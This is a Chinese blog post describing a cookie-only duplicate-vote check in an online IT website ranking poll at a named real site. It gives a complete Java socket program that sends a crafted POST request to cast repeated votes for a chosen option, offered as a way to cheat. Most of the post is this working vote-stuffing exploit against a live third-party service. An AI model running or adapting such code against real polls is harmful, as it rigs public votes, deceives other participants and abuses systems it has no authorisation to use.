IT两会网站排名投票漏洞

类别:Java 点击:0 评论:0 推荐:

 

IT两会网站排名投票漏洞

/**
作者: 慈勤强
Email :[email protected]
Http://blog.csdn.net/cqq
*/


      刚才上某个网站,看到一条公告,说是IT两会正在举行一个大网站投票的活动,

希望大家都去投他们一票。于是上去看了看,地址是:http://itlianghui.ccw.com.cn/,

下面有个互联网风云榜,就在那里投票。

       不过,这个投票过于简单,很容易作弊。

       他们是简单的采用Cookie来存储状态的,如果投过票了,就把已经投票状态保存

在Cookie中,当再次投票的时候,就从Cookie取值,具体为 Cookie: VOTEIT_Gray=1。

       所以,知道了这些,我们就很容易作弊了,方法就很多了,比如,我们在IE浏览器

工具-->Internet选项-->隐私 里面把设置调到最高,使Cookie 失效,这样的话,你每次

投票就可以了。 或者,写个小程序也可以, 下面是我用Java写的,仅供参考。

 

import java.io.*;
import java.net.*;

public class CCW
{
 public static void main(String args[])
 {

  try
  {
   String hostname = "itlianghui.ccw.com.cn";
   int port = 80;
   
   InetAddress addr = InetAddress.getByName(hostname);
   Socket socket = new Socket(addr, port); //建立一个Socket
   
   //发送命令
   BufferedWriter wr = new BufferedWriter(new OutputStreamWriter(socket.getOutputStream(), "UTF8"));

   wr.write("POST /program/?m=Vote1&a=Voteit HTTP/1.1\r\n");
   wr.write("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*\r\n");
   wr.write("Referer: http://itlianghui.ccw.com.cn/\r\n");
   wr.write("Accept-Language: zh-cnv\r\n");
   wr.write("Content-Type: application/x-www-form-urlencoded\r\n");
   wr.write("Accept-Encoding: gzip, deflate\r\n");
   wr.write("User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; MyIE2; .NET CLR 1.1.4322)\r\n");
   wr.write("Host:" + hostname + "\r\n");
   wr.write("Content-Length: 37\r\n");
   wr.write("Connection: Keep-Alive\r\n");
   wr.write("Cache-Control: no-cache\r\n\r\n");
   wr.write("NAME=Gray&OPTION%5B%5D=1066&x=22&y=18\r\n");
   wr.write("\r\n");
   wr.flush();
   
   BufferedReader rd = new BufferedReader(new InputStreamReader(socket.getInputStream()));
   String line;
   line = rd.readLine();
   wr.close();
   rd.close();
   socket.close();
  }
  catch (Exception e)
  {
   System.out.println(e.toString());
   }
 }
}

本文地址:http://com.8s8s.com/it/it14373.htm